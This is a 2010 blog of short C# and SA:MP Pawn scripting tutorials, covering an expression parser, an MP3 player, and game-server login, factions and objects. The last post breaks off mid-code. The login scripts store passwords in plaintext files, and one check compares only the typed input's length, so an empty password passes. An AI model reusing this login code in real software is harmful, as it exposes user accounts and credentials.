Friday, December 24, 2010

C# Tutorial: Operator Overloading [Add 2 Complex Numbers]

Here is the code

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace ConsoleApplication1
{
    class Complex
    {
        int real, imaginary;

        Complex(int real, int imaginary)
        {
            this.real = real;
            this.imaginary = imaginary;
        }

        public static Complex operator +(Complex c1, Complex c2)
        {
            return new Complex(c1.real + c2.real, c1.imaginary + c2.imaginary);   
        }

        public override string ToString()
        {
            return string.Format("{0} + {1}i", real, imaginary);   
        }

        static void Main(string[] args)
        {
            Complex c1 = new Complex(4, 3);
            Complex c2 = new Complex(7, 9);
            Complex sum = c1 + c2;
            Console.WriteLine("The sum of the two complex numbers is: {0}", sum);
            Console.ReadKey(); // Pause 
        }
    }
}

Sunday, December 19, 2010

C# Tutorial: Create Shortcuts for Applications [Start Menu]

Here is the code

using IWshRuntimeLibrary;
//////////////////////////////////////////////////////////////////////////////////////////
private void button1_Click(object sender, EventArgs e)
{
    WshShell shell = new WshShell();
    IWshShortcut MyShortcut;
    // Replace [UserName] with the name of the User
    MyShortcut = (IWshShortcut)shell.CreateShortcut(@"C:\Documents and Settings\[UserName]\Start Menu\Programs\MyShortcut.lnk");
    MyShortcut.TargetPath = Application.ExecutablePath;
    MyShortcut.Description = "Launch the App!";
    // MyShortcut.IconLocation = [IconPath]; // [IconPath] - the path of the icon for the shortcut, if you have one 
    MyShortcut.Save(); 
}

Tuesday, December 14, 2010

C# Tutorial: Equation Calculator++ [Trigonometric Functions]

Here is the code

private static double trigFunctions(char[] expr, ref int index)
{
    if (((int)expr[index] >= 48 && (int)expr[index] <= 57) || expr[index] == 46 || expr[index] == 45)
        return GetDouble(expr, ref index);
    else
    {
        char op = expr[index];
        if (op != 'c' && op != 't' && op != 's')
            return GetDouble(expr, ref index);
        index += 4;
        double x = GetDouble(expr, ref index);
        if (index + 1 != expr.Length) index++;
        if (op == 'c')
            return Math.Round(Math.Cos(x), MidpointRounding.AwayFromZero);
        else if (op == 't')
            return Math.Round(Math.Tan(x), MidpointRounding.AwayFromZero);
        else
            return Math.Round(Math.Sin(x), MidpointRounding.AwayFromZero);  
    }
}

Saturday, December 11, 2010

C# Tutorial: Equation Calculator [Expression Evaluator]

Here is the code

// Math Parser
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace EquationParser
{
    class MathParser
    {

        public static double EvalExpression(char[] expr)
        {
            return parseSummands(expr, 0); 
        }
        
        private static double parseSummands(char[] expr, int index)
        {
            double x = parseFactors(expr, ref index);
            while (true)
            {
                char op = expr[index];
                if (op != '+' && op != '-')
                    return x;
                index++;
                double y = parseFactors(expr, ref index);
                if (op == '+')
                    x += y;
                else
                    x -= y;
            }
        }
        
        private static double parseFactors(char[] expr, ref int index)
        {
            double x = GetDouble(expr, ref index);
            while (true)
            {
                char op = expr[index];
                if (op != '/' && op != '*')
                    return x;
                index++;
                double y = GetDouble(expr, ref index);
                if (op == '/')
                    x /= y;
                else
                    x *= y;
            }
        }
        
        private static double GetDouble(char[] expr, ref int index)
        {
            string dbl = "";
            while (((int)expr[index] >= 48 && (int)expr[index] <= 57) || expr[index] == 46)
            {
                dbl = dbl + expr[index].ToString();
                index++;
                if (index == expr.Length)
                {
                    index--;
                    break;
                }
            }
            return double.Parse(dbl); 
        }
    }
}

// Button1_Click
textBox2.Text = MathParser.EvalExpression(textBox1.Text.ToCharArray()).ToString();

Saturday, December 4, 2010

C# Tutorial: ColorPicker [PAWN Color HEX Code for SAMP Scripts]

Here is the code

private void pictureBox1_DoubleClick(object sender, EventArgs e)
{
    if (colorDialog1.ShowDialog() == System.Windows.Forms.DialogResult.OK)
    {
        pictureBox1.BackColor = colorDialog1.Color;
        string color;
        color = string.Format("0x{0:X8}", pictureBox1.BackColor.ToArgb());
        color = color.Remove(color.IndexOf("x") + 1, 2);
        textBox1.Text = color + "FF";
    }
}

Download ColorPicker [SA:MP]

Wednesday, December 1, 2010

SAMP Scripting Tutorial: Interiors | /enter - /exit Commands

Here is the code

// Declarations
new Float:saveX[MAX_PLAYERS],Float:saveY[MAX_PLAYERS],Float:saveZ[MAX_PLAYERS];
new cityHall;

// OnGameModeInit
cityHall = CreatePickup(1318,1,1480.9467773438,-1772.1303710938,19.966495513916);

// Uses standard player walking animation (animation of CJ)
UsePlayerPedAnims();
//-------------------------------------------------------------------------------//

// OnPlayerCommandText
if(strcmp(cmdtext,"/enter",true)==0)
{
 if(IsPlayerInRangeOfPoint(playerid,5.0,1480.9467773438,-1772.1303710938,19.966495513916))
 {
  GetPlayerPos(playerid,saveX[playerid],saveY[playerid],saveZ[playerid]);
  SetPlayerPos(playerid,388.8720,173.8050,1008.3828);
  SetPlayerInterior(playerid, 3);
 }
 return 1;
}

if(strcmp(cmdtext,"/exit",true)==0)
{
 
 SetPlayerPos(playerid,saveX[playerid],saveY[playerid],saveZ[playerid]);
 SetPlayerInterior(playerid, 0);
 
 return 1;
}


// OnPlayerPickUpPickup
if(pickupid == cityHall)
{
 GameTextForPlayer(playerid,"Type ~r~/enter",5000,5);
}

// OnPlayerUpdate
if(IsPlayerInRangeOfPoint(playerid,5.0,390.64190673828,173.77577209473,1009.553527832))
{
 GameTextForPlayer(playerid,"Type ~r~/exit",5000,5);
}

Monday, November 29, 2010

SAMP Scripting Tutorial: Save/Load Settings/Stats using YSI (y_ini)

Here is the code

#define WHITE 0xFFFFFFFF
#define BLUE 0xFF0000FF

#include <a_samp>
//-------------------------------------------------------//
//  You must include this file. You can download YSI here: http://forum.sa-mp.com/showthread.php?p=884701
#include <YSI/y_ini>
//------------------------------------------------------//
#include "../include/gl_common.inc"

main()
{
 print("\n----------------------------------");
 print(" Tutorial by TheDarkJoker94");
 print("----------------------------------\n");
}

#define Skinid 1
#define Money 2
#define Faction 3 
#define Job 4
#define AdminLevel 5
#define Level 6
///////////////////*/
#define Civilian 0
#define Police 1
#define Taxi 2
//-----------------//
new bool:newPlayer,bar,lspddoor,armour;
new player[MAX_PLAYERS][7]; // The settings values are stored here
new setts[7][] = {"password","skin","money","faction","job","AdminLevel","level"}; // An array containing the textual identifiers
new playerPass[MAX_PLAYERS][128]; // The players passwords are stored in this array
new Text:mytext;

public OnGameModeInit()
{
 // Don't use these lines if it's a filterscript
 SetGameModeText("SAMP Tutorial");
 AddPlayerClass(0,1544.7887,-1675.4630,13.5591,88.8707,38,999,0,0,0,0);
 AddPlayerClass(165,1544.7887,-1675.4630,13.5591,88.8707,38,999,0,0,0,0);
 AddPlayerClass(166,1544.7887,-1675.4630,13.5591,88.8707,38,999,0,0,0,0);
 AddPlayerClass(280,1544.7887,-1675.4630,13.5591,88.8707,38,999,0,0,0,0);
 AddPlayerClass(282,1544.7887,-1675.4630,13.5591,88.8707,38,999,0,0,0,0);
 AddPlayerClass(286,1544.7887,-1675.4630,13.5591,88.8707,38,999,0,0,0,0);
 AddPlayerClass(287,1544.7887,-1675.4630,13.5591,88.8707,38,999,0,0,0,0);
 AddPlayerClass(163,1544.7887,-1675.4630,13.5591,88.8707,38,999,0,0,0,0);
 AddPlayerClass(164,1544.7887,-1675.4630,13.5591,88.8707,38,999,0,0,0,0);
 AddPlayerClass(283,1544.7887,-1675.4630,13.5591,88.8707,38,999,0,0,0,0);
 
 AddStaticVehicle(463,1538.0513,-1694.6932,13.0872,181.3842,11,11);
 //LoadStaticVehiclesFromFile("vehicles/myplanes.txt"); // Only if you have myplanes.txt
 
 //Fences
 CreateObject(992, 1544.6911621094, -1622.0278320313, 14.102454185486, 0, 0, 90);
 CreateObject(992, 1544.6866455078, -1619.5272216797, 14.110140800476, 0, 0, 90);
 CreateObject(992, 1545.2962646484, -1634.3321533203, 14.109854698181, 0, 0, 90);
 CreateObject(992, 1545.2634277344, -1637.7028808594, 14.53718662262, 0, 0, 90);
 
 //Barrier
 bar = CreateObject(968, 1544.6640625, -1623.9732666016, 12.989388465881, 352, 270, 90);
 
 CreateObject(2634,266.29434204,83.02305603,1001.18328857,0.00000000,0.00000000,270.00000000); //object(ab_vaultdoor) (1)
 CreateObject(2634,266.28244019,87.49037933,1001.18328857,0.00000000,0.00000000,270.00000000); //object(ab_vaultdoor) (2)
 
 lspddoor = CreateObject(976,250.19511414,72.58469391,1002.64929199,0.00000000,0.00000000,180.00000000); //object(phils_compnd_gate) (1)
 armour = CreatePickup(1242,1,254.2683,77.9845,1003.6406,0);
 
 //ConnectNPC("Dave","npc_walk"); // Only if you have npc_walk
 return 1;
}

forward Spawn(playerid);
public OnPlayerRequestClass(playerid, classid)
{
 if(!IsPlayerNPC(playerid))
 {
  if(newPlayer)
  {
   SetPlayerPos(playerid, 1544.7887,-1675.4630,13.5591);
   SetPlayerFacingAngle(playerid,90.0);
   SetPlayerCameraPos(playerid, 1541.5293,-1675.4012,13.5527);
   SetPlayerCameraLookAt(playerid, 1544.7887,-1675.4630,13.5591);
  }
  else
  {
   SetTimerEx("Spawn",1,false,"i",playerid);
  }
 }
 return 1;
}

/////////////////////////////////--------------YSI--------------//////////////////////////////////////////////
forward LoadSettings(playerid, name[], value[]);
public LoadSettings(playerid, name[], value[])
{
 for(new i=0; i<7; i++)
 {
  if(i==0)
  { 
   // Read the value of the textual identifier(setts[i]) and save it in playerPass[playerid] (in this case the player's password is saved in the playePass array
   INI_String(setts[i],playerPass[playerid],128);
  }
  else 
  {
   // Same here but the values are integers now
   INI_Int(setts[i],player[playerid][i]);
  }
 }
 return 0;
}
//------------------------------------------------------------------------------------------//

public OnPlayerConnect(playerid)
{
 if(!IsPlayerNPC(playerid))
 {
  newPlayer = false;
  TogglePlayerSpectating(playerid,1);
  new string[256], name[MAX_PLAYER_NAME];
  GetPlayerName(playerid,name,sizeof(name));
  format(string,256,"~r~Hello %s !",name);
  GameTextForPlayer(playerid,string,10000,6);
  format(string,256,"Players/%s.ini",name);
  MyTextDraw(playerid);
  if(fexist(string))
  {
   // Parse the file using LoadSettings function and send additional parameters to the function (in this case, playerid)
   INI_ParseFile(string,"LoadSettings", .bExtra=true, .extra=playerid); 
   SetPlayerScore(playerid,player[playerid][Level]);
   ShowPlayerDialog(playerid,1,DIALOG_STYLE_INPUT,"Login","Welcome! Please Login!","Login","Exit");
  }
  else
  {
   ShowPlayerDialog(playerid,2,DIALOG_STYLE_INPUT,"Register","Welcome! Please Register!","Register","Exit");
   newPlayer = true;
  }
 }
 return 1;
}

public OnPlayerDisconnect(playerid, reason)
{
 SavePlayerSettings(playerid);
 return 1;
}

public OnPlayerSpawn(playerid)
{
 if(!IsPlayerNPC(playerid))
 {
  if(newPlayer)
  {
   player[playerid][Skinid] = GetPlayerSkin(playerid);
  }
  GivePlayerMoney(playerid,player[playerid][Money]);
  SetPlayerSkin(playerid, player[playerid][Skinid]);
  TextDrawHideForPlayer(playerid,mytext);
  TextDrawDestroy(mytext);
 }
 else SetPlayerSkin(playerid, 167);
 return 1;
}

forward InitPos();
public OnPlayerCommandText(playerid, cmdtext[])
{
 new cmd[128],idx;
 cmd = strtok(cmdtext,idx);
 if(strcmp(cmd,"/tele",true)==0)
 {
  new tmp[128];
  tmp = strtok(cmdtext,idx);
  if(strlen(tmp)==0) return SendClientMessage(playerid,WHITE,"Usage: /tele 1");
  if(strval(tmp)==1)
   SetPlayerPos(playerid,1885.7004,-2592.2048,13.5469);
  else return SendClientMessage(playerid,WHITE,"Usage: /tele 1");
  return 1;
 }
 if(strcmp(cmdtext,"/veh",true)==0)
 {
  ShowPlayerDialog(playerid,3,DIALOG_STYLE_LIST,"Vehicles","1.Rhino\n2.Firetruck\n3.Infernus\n4.Turismo\n5.Dumper\n6.Sparrow","Spawn","Exit");
  return 1;
 }
 
 if(strcmp(cmdtext,"/openbarrier",true)==0)
 {
  SetObjectPos(bar,1544.6640625, -1623.9732666016, 12.989388465881);
  SetObjectRot(bar,352, 0, 90);
  SetTimer("InitPos",5000,false);
  return 1;
 }
 
 if(strcmp(cmdtext,"/myfaction",true)==0)
 {
  switch(player[playerid][Faction])
  {
   case 0: SendClientMessage(playerid,WHITE,"You are Civilian!");
   case 1: SendClientMessage(playerid,WHITE,"You are a Police Officer!");
   case 2: SendClientMessage(playerid,WHITE,"You are TaxiDriver!");
  }
  return 1;
 }
 
 if(strcmp(cmdtext,"/anim",true)==0)
 {
  ApplyAnimation(playerid,"ped","FALL_collapse",4.0,0,0,0,0,0);
  return 1;
 }
 
 return 0;
}

public OnPlayerPickUpPickup(playerid, pickupid)
{
 new Float:armr; GetPlayerArmour(playerid, armr);
 if(pickupid == armour && armr != 100.0)
 { 
  SetPlayerArmour(playerid,100.0);
  PlayerPlaySound(playerid,1150,0.0,0.0,0.0);
 }
 return 1;
}

public OnPlayerUpdate(playerid)
{
 // Infinite ammo
 if(GetPlayerAmmo(playerid) <= 10) SetPlayerAmmo(playerid,38,989);
 if(IsPlayerInRangeOfPoint(playerid,3.0,246.4075,72.4807,1003.6406))
 {
  MoveObject(lspddoor,250.19433594,72.58398438,1005.39929199,4.0);
  SetTimer("InitPos",2000,false);
 }
 return 1;
}

public OnDialogResponse(playerid, dialogid, response, listitem, inputtext[])
{
 new Float:x,Float:y,Float:z;
 switch(dialogid)
 {
  case 3:
  {
   if(response==1)
   {
    switch(listitem)
    {
     case 0:
     {
      GetPlayerPos(playerid,x,y,z);
      CreateVehicle(432,x-3.0,y-3.0,z,90.0,1,1,300);
     }
     case 1:
     {
      GetPlayerPos(playerid,x,y,z);
      CreateVehicle(407,x-3.0,y,z,0.0,1,3,300);
     }
     case 2:
     {
      GetPlayerPos(playerid,x,y,z);
      CreateVehicle(411,x-3.0,y,z,0.0,1,0,300);
     }
     case 3:
     {
      GetPlayerPos(playerid,x,y,z);
      CreateVehicle(451,x-3.0,y,z,0.0,0,1,300);
     }
     case 4:
     {
      GetPlayerPos(playerid,x,y,z);
      CreateVehicle(406,x-3.0,y,z,0.0,1,1,300);
     }
     case 5:
     {
      GetPlayerPos(playerid,x,y,z);
      CreateVehicle(469,x-3.0,y,z,0.0,1,1,300);
     }
    }
   }
  }
  case 1:
  {
   if(response==1)
   {
    if(strcmp(playerPass[playerid],inputtext,false,strlen(inputtext))!=0)
    {
     SendClientMessage(playerid,WHITE,"Invalid Password!");
     ShowPlayerDialog(playerid,1,DIALOG_STYLE_INPUT,"Login","Welcome! Please Login!","Login","Exit");
    }
    else TogglePlayerSpectating(playerid,0);
   }
   else Kick(playerid);
  }
  case 2:
  {
   if(response==1)
   {
    strcat(playerPass[playerid],inputtext,128);
    TogglePlayerSpectating(playerid,0);
   }
   else Kick(playerid);
  }
 }
 return 1;
}

/////////////////////////////////--------------YSI--------------//////////////////////////////////////////////
SavePlayerSettings(playerid)
{
 new string[256],name[MAX_PLAYER_NAME];
 GetPlayerName(playerid,name,sizeof(name));
 format(string,256,"Players/%s.ini",name);
 // Open the file (if doesn't exist it will be created)
 new INI:acc = INI_Open(string);
 for(new i=0; i<7; i++)
 {
  if(i==0)
   INI_WriteString(acc,setts[i],playerPass[playerid]); // Write the passwords to the player's file
  else INI_WriteInt(acc,setts[i],player[playerid][i]); // Write the other values to the player's file
 }
 INI_Close(acc); // Close the file
}
//-----------------------------------------------------------------------------------------//

public Spawn(playerid)
{
 SpawnPlayer(playerid);
}

public InitPos()
{
 SetObjectPos(bar,1544.6640625, -1623.9732666016, 12.989388465881);
 SetObjectRot(bar,352,270,90);
 MoveObject(lspddoor,250.19511414,72.58469391,1002.64929199,4.0);
}

MyTextDraw(playerid)
{
 mytext = TextDrawCreate(150.0,360.0,"Welcome to my SAMP Server");
 TextDrawColor(mytext,BLUE);
 TextDrawSetOutline(mytext,1);
 TextDrawSetShadow(mytext,0);
 TextDrawFont(mytext,3);
 TextDrawLetterSize(mytext,0.7,1.2);
 TextDrawShowForPlayer(playerid,mytext);
}

Friday, November 26, 2010

SAMP Scripting Tutorial: Add NPCs | Record NPC Paths | Play Animations

Here is the code

#include <a_npc>
#define rec "npc_walking"
#define onfoot 2

main(){}

public OnRecordingPlaybackEnd() StartRecordingPlayback(onfoot,rec);
public OnNPCSpawn()
{
 SetMyPos(1521.5752,-1668.3490,13.5469);
 StartRecordingPlayback(onfoot,rec);
}
public OnPlayerStreamIn(playerid)
{
 SetTimer("SendCmd",3000,true);
}

forward SendCmd();
public SendCmd()
{
 SendCommand("/anim");
 return 1;
}[/cpp]
[cpp title="tutorial.pwn"]
// OnPlayerText
if(strcmp(cmdtext,"/anim",true)==0)
{
 ApplyAnimation(playerid,"ped","FALL_collapse",4.0,0,0,0,0,0);
 return 1;
}

// OnGameModeInit
ConnectNPC("Dave","npc_walk");

Tuesday, November 23, 2010

SAMP Scripting Tutorial: Create a TextDraw

Here is the code

// Defines and Declarations
#define BLUE 0xFF0000FF
new Text:mytext;

// OnPlayerSpawn
TextDrawHideForPlayer(playerid,mytext); // Hide the textdraw
TextDrawDestroy(mytext); // Destroy the textdraw 

// MyTextDraw Function
MyTextDraw(playerid)
{
 mytext = TextDrawCreate(150.0,360.0,"Welcome to my SAMP Server"); // Create the textdraw
 TextDrawColor(mytext,BLUE); // Set the color of the text
 TextDrawSetOutline(mytext,1); // Set the outline (stroke) of the text
 TextDrawSetShadow(mytext,0); // Set the shadow of the text
 TextDrawFont(mytext,3); // Set the Font
 TextDrawLetterSize(mytext,0.7,1.2); // Set the letter size
 TextDrawShowForPlayer(playerid,mytext); // Show the textdraw to a certain player
}

// OnPlayerConnect
MyTextDraw(playerid);

Monday, November 22, 2010

C# Tutorial: Create a Simple MP3 Player

Here is the code

string[] files, paths;
///////////////////////////////////////
private void button1_Click(object sender, EventArgs e)
{
    if (openFileDialog1.ShowDialog() == System.Windows.Forms.DialogResult.OK)
    {
        files = openFileDialog1.SafeFileNames; // Save only the names
        paths = openFileDialog1.FileNames; // Save the full paths
        for (int i = 0; i < files.Length; i++)
        {
            listBox1.Items.Add(files[i]); // Add songs to the listbox
        }
    }
}
//////////////////////////////////////////
private void listBox1_SelectedIndexChanged(object sender, EventArgs e)
{
    axWindowsMediaPlayer1.URL = paths[listBox1.SelectedIndex]; // Play the song  
}

Or download the solution

Sunday, November 21, 2010

SAMP Scripting Tutorial: Factions | Multi-Dimensional Arrays

Here is the code

// Declarations and Defines
#define Passw 1
#define Skinid 2
#define Money 3
#define Faction 4
#define Job 5
#define AdminLevel 6
#define Level 7
///////////////////
#define Civilian 0
#define Police 1
#define Taxi 2
//-----------------//
new player[MAX_PLAYERS][8];

// OnPlayerSpawn
GivePlayerMoney(playerid,player[playerid][Money]);
SetPlayerScore(playerid,player[playerid][Level]);

// OnPlayerCommandText
if(strcmp(cmdtext,"/myfaction",true)==0)
{
 switch(player[playerid][Faction])
 {
  case 0: SendClientMessage(playerid,WHITE,"You are Civilian!");
  case 1: SendClientMessage(playerid,WHITE,"You are a Police Officer!");
  case 2: SendClientMessage(playerid,WHITE,"You are TaxiDriver!");
 }
 return 1;
}

// Read/Write Player Functions
ReadPlayer(players[][],playerid,maxset)
{
 new string[256],name[MAX_PLAYER_NAME];
 new File:acc;
 GetPlayerName(playerid,name,sizeof(name));
 format(string,256,"Players/%s.ini",name);
 acc = fopen(string, io_read);
 for(new i=1; i<maxset; i++)
 {
  fread(acc,string);
  if(i==1)
  {
   SetPVarString(playerid,"passw",string);
  }
  else players[playerid][i] = strval(string);
 }
 fclose(acc);
}

WritePlayer(text[],playerid, bool:filestart)
{
 new string[256],name[MAX_PLAYER_NAME];
 new File:acc;
 GetPlayerName(playerid,name,sizeof(name));
 format(string,256,"Players/%s.ini",name);
 acc = fopen(string, io_append);
 if(filestart)
 {
  fwrite(acc,text);
 }
 else
 {
  format(string,256,"\r\n%s",text);
  fwrite(acc,string);
 }
 fclose(acc);
}

Saturday, November 20, 2010

SAMP Scripting Tutorial: Movable Objects II | Create Objects/Pickupsinside Interiors [MTA]

Here is the code

// OnGameModeInit
CreateObject(2634,266.29434204,83.02305603,1001.18328857,0.00000000,0.00000000,270.00000000); 
CreateObject(2634,266.28244019,87.49037933,1001.18328857,0.00000000,0.00000000,270.00000000); 
lspddoor = CreateObject(976,250.19511414,72.58469391,1002.64929199,0.00000000,0.00000000,180.00000000); 
armour = CreatePickup(1242,1,254.2683,77.9845,1003.6406,-1);

// OnPlayerUpdate
if(IsPlayerInRangeOfPoint(playerid,3.0,246.4075,72.4807,1003.6406))
{
 MoveObject(lspddoor,250.19433594,72.58398438,1005.39929199,4.0);
 SetTimer("InitPos",2000,false);
}

// OnPlayerPickup
new Float:armr; GetPlayerArmour(playerid, armr);
if(pickupid == armour && armr != 100.0)
{ 
 SetPlayerArmour(playerid,100.0);
 PlayerPlaySound(playerid,1150,0.0,0.0,0.0);
}

// InitPos()
MoveObject(lspddoor,250.19511414,72.58469391,1002.64929199,4.0);

Thursday, November 18, 2010

SAMP Scripting Tutorial: Movable Objects I - Create Objects [MTA MapEditor]

Here is the code

// Variable Declaration
new bar;

// OnGameModeInit
//Fences
CreateObject(992, 1544.6911621094, -1622.0278320313, 14.102454185486, 0, 0, 90);
CreateObject(992, 1544.6866455078, -1619.5272216797, 14.110140800476, 0, 0, 90);
CreateObject(992, 1545.2962646484, -1634.3321533203, 14.109854698181, 0, 0, 90);
CreateObject(992, 1545.2634277344, -1637.7028808594, 14.53718662262, 0, 0, 90);

//Barrier
bar = CreateObject(968, 1544.6640625, -1623.9732666016, 12.989388465881, 352, 270, 90);[/cpp]
[cpp title="InitPos()"]
public InitPos()
{
 SetObjectPos(bar,1544.6640625, -1623.9732666016, 12.989388465881);
 SetObjectRot(bar,352,270,90);
}

// OnPlayerCommandText
if(strcmp(cmdtext,"/openbarrier",true)==0)
{
 SetObjectPos(bar,1544.6640625, -1623.9732666016, 12.989388465881);
 SetObjectRot(bar,352, 0, 90);
 SetTimer("InitPos",5000,false);
 return 1;
}

Wednesday, November 17, 2010

SAMP Scripting Tutorial: Skip Class Selection | Save Player's Skin

Here is the code

// Variable Declaration
new bool:newPlayer = false;

// Spawn Function
public Spawn(playerid)
{
 SpawnPlayer(playerid);
 SetPlayerSkin(playerid, strval(ReadPlayer(2,playerid)));
}

// OnPlayerRequestClass
if(newPlayer)
{
 SetPlayerPos(playerid, 1544.7887,-1675.4630,13.5591);
 SetPlayerFacingAngle(playerid,90.0);
 SetPlayerCameraPos(playerid, 1541.5293,-1675.4012,13.5527);
 SetPlayerCameraLookAt(playerid, 1544.7887,-1675.4630,13.5591);
}
else
{
 SetTimerEx("Spawn",1,false,"i",playerid);
}

// OnPlayerSpawn
if(newPlayer)
{
 new skin[4];
 valstr(skin,GetPlayerSkin(playerid));
 WritePlayer(skin,playerid,false);
}

Tuesday, November 16, 2010

SAMP Scripting Tutorial: Login/Register Script

Here is the code

// Include this file
#include 

// OnDialogResponse
switch(dialogid)
{
 case 3:
 {
  if(response==1)
  {
   switch(listitem)
   {
    case 0:
    {
     GetPlayerPos(playerid,x,y,z);
     CreateVehicle(432,x-3.0,y,z,0.0,1,1,300);
    }
    case 1:
    {
     GetPlayerPos(playerid,x,y,z);
     CreateVehicle(407,x-3.0,y,z,0.0,1,3,300);
    }
    case 2:
    {
     GetPlayerPos(playerid,x,y,z);
     CreateVehicle(411,x-3.0,y,z,0.0,1,0,300);
    }
    case 3:
    {
     GetPlayerPos(playerid,x,y,z);
     CreateVehicle(451,x-3.0,y,z,0.0,0,1,300);
    }
    case 4:
    {
     GetPlayerPos(playerid,x,y,z);
     CreateVehicle(406,x-3.0,y,z,0.0,1,1,300);
    }
   }
  }
 }
 case 1:
 {
  if(response==1)
  {
   if(strcmp(ReadPlayer(1,playerid),inputtext,false)!=0)
   {
    SendClientMessage(playerid,WHITE,"Invalid Password!");
    ShowPlayerDialog(playerid,1,DIALOG_STYLE_INPUT,"Login","Welcome! Please Login!","Login","Exit");
   }
   else TogglePlayerSpectating(playerid,0);
  }
  else Kick(playerid);
 }
 case 2:
 {
  if(response==1)
  {
   WritePlayer(inputtext,playerid,true);
   TogglePlayerSpectating(playerid,0);
  }
  else Kick(playerid);
 }
}

// OnPlayerConnect
TogglePlayerSpectating(playerid,1);
new string[256], name[MAX_PLAYER_NAME];
GetPlayerName(playerid,name,sizeof(name));
format(string,256,"~r~Hello %s !",name);
GameTextForPlayer(playerid,string,10000,6);
format(string,256,"Players/%s.ini",name);
if(fexist(string))
{
 ShowPlayerDialog(playerid,1,DIALOG_STYLE_INPUT,"Login","Welcome! Please Login!","Login","Exit");
}
else
{
 ShowPlayerDialog(playerid,2,DIALOG_STYLE_INPUT,"Register","Welcome! Please Register!","Register","Exit");
}

// ReadWrite Player Functions
ReadPlayer(line,playerid)
{
 new string[256],name[MAX_PLAYER_NAME];
 new File:player;
 GetPlayerName(playerid,name,sizeof(name));
 format(string,256,"Players/%s.ini",name);
 player = fopen(string, io_read);
 for(new i=1; i<=line; i++)
 {
  fread(player,string);
  if(line==i)
  {fclose(player); return string;}
 }
 return string;
}

WritePlayer(text[],playerid, bool:filestart)
{
 new string[256],name[MAX_PLAYER_NAME];
 new File:player;
 GetPlayerName(playerid,name,sizeof(name));
 format(string,256,"Players/%s.ini",name);
 player = fopen(string, io_append);
 if(filestart)
 {
  fwrite(player,text);
 }
 else
 {
  format(string,256,"\n%s",text);
  fwrite(player,string);
 }
 fclose(player);
}

Sunday, November 14, 2010

SAMP Scripting Tutorial: Dialog Box | Menus | Spawn Vehicles

Here is the code

// OnPlayerCommandText
if(strcmp(cmdtext,"/veh",true)==0)
{
 ShowPlayerDialog(playerid,1,DIALOG_STYLE_LIST,"Vehicles","1.Rhino\n2.Firetruck\n3.Infernus\n4.Turismo\n5.Dumper","Spawn","Exit");
 return 1;
}

// OnDialogResponse
new Float:x,Float:y,Float:z;
if(dialogid==1 && response==1)
{
 switch(listitem)
 {
  case 0:
  {
   GetPlayerPos(playerid,x,y,z);
   CreateVehicle(432,x-3.0,y,z,0.0,1,1,300);
  }
  case 1:
  {
   GetPlayerPos(playerid,x,y,z);
   CreateVehicle(407,x-3.0,y,z,0.0,1,3,300);
  }
  case 2:
  {
   GetPlayerPos(playerid,x,y,z);
   CreateVehicle(411,x-3.0,y,z,0.0,1,0,300);
  }
  case 3:
  {
   GetPlayerPos(playerid,x,y,z);
   CreateVehicle(451,x-3.0,y,z,0.0,0,1,300);
  }
  case 4:
  {
   GetPlayerPos(playerid,x,y,z);
   CreateVehicle(406,x-3.0,y,z,0.0,1,1,300);
  }
 }
}

Saturday, November 13, 2010

SAMP Scripting Tutorial: Commands | Teleports | Load Vehicles From File

Here is the code

AddStaticVehicle(463,1902.3207,-2628.8757,13.0872,331.3780,11,11); // plane1
AddStaticVehicle(463,1873.3972,-2632.1284,13.0865,327.7260,11,11); // plane 2
AddStaticVehicle(463,1832.3038,-2623.2688,13.0865,344.0137,11,11); // plane3
AddStaticVehicle(463,1793.9832,-2626.4341,13.0861,349.1461,11,11); // plane4
AddStaticVehicle(463,1889.4199,-2579.3552,13.0865,267.0306,11,11); // plane5
AddPlayerClass(280,1885.7004,-2592.2048,13.5469,174.9667,0,0,0,0,0,0); // tele
// OnPlayerConnect
new message[256], name[MAX_PLAYER_NAME];
GetPlayerName(playerid,name,sizeof(name));
format(message,sizeof(message),"~r~Hello %s !",name);
GameTextForPlayer(playerid,message,10000,6);

// OnPlayerCommandText
new cmd[128],idx;
cmd = strtok(cmdtext,idx);
if(strcmp(cmd,"/tele",true)==0)
{
 new tmp[128];
 tmp = strtok(cmdtext,idx);
 if(strlen(tmp)==0) return SendClientMessage(playerid,WHITE,"Usage: /tele 1");
 if(strval(tmp)==1)
  SetPlayerPos(playerid,1885.7004,-2592.2048,13.5469);
    else return SendClientMessage(playerid,WHITE,"Usage: /tele 1");
 return 1;
}

Friday, November 12, 2010

SAMP Scripting: Save positions & Create a Player Selection Script

Here is the code

// The models (skins) from which the player can choose
// Add this inside of OnGameModeInit()
AddPlayerClass(0,1544.7887,-1675.4630,13.5591,88.8707,38,999,0,0,0,0);
AddPlayerClass(165,1544.7887,-1675.4630,13.5591,88.8707,38,999,0,0,0,0);
AddPlayerClass(166,1544.7887,-1675.4630,13.5591,88.8707,38,999,0,0,0,0);
AddPlayerClass(280,1544.7887,-1675.4630,13.5591,88.8707,38,999,0,0,0,0);
AddPlayerClass(282,1544.7887,-1675.4630,13.5591,88.8707,38,999,0,0,0,0);
AddPlayerClass(286,1544.7887,-1675.4630,13.5591,88.8707,38,999,0,0,0,0);
AddPlayerClass(287,1544.7887,-1675.4630,13.5591,88.8707,38,999,0,0,0,0);
AddPlayerClass(163,1544.7887,-1675.4630,13.5591,88.8707,38,999,0,0,0,0);
AddPlayerClass(164,1544.7887,-1675.4630,13.5591,88.8707,38,999,0,0,0,0);
AddPlayerClass(283,1544.7887,-1675.4630,13.5591,88.8707,38,999,0,0,0,0);

AddStaticVehicle(463,1538.0513,-1694.6932,13.0872,181.3842,11,11);
/------------------------------------------------------------------------/

// OnPlayerRequestClass(playerid, classid)
SetPlayerPos(playerid, 1544.7887,-1675.4630,13.5591);
SetPlayerFacingAngle(playerid,90.0);
SetPlayerCameraPos(playerid, 1541.5293,-1675.4012,13.5527);
SetPlayerCameraLookAt(playerid, 1544.7887,-1675.4630,13.5591);
/------------------------------------------------------------------------/

// OnPlayerConnect(playerid)
GameTextForPlayer(playerid,"~r~Hello!",10000,6);

Wednesday, November 10, 2010

C# Tutorial: Load Text from XML File [Load Settings]

Here is the code

if (openFileDialog1.ShowDialog() == System.Windows.Forms.DialogResult.OK)
{
XmlTextReader xreader = new XmlTextReader(openFileDialog1.FileName);
string elem = ""; int ok = 0;
while (xreader.Read())
{
    switch (xreader.NodeType)
    {
        case XmlNodeType.Element:
            {
                if (xreader.Name == "Title1")
                    elem = "Title1";
                else if (xreader.Name == "Title2")
                    elem = "Title2";
            }break;
        case XmlNodeType.Text:
            {
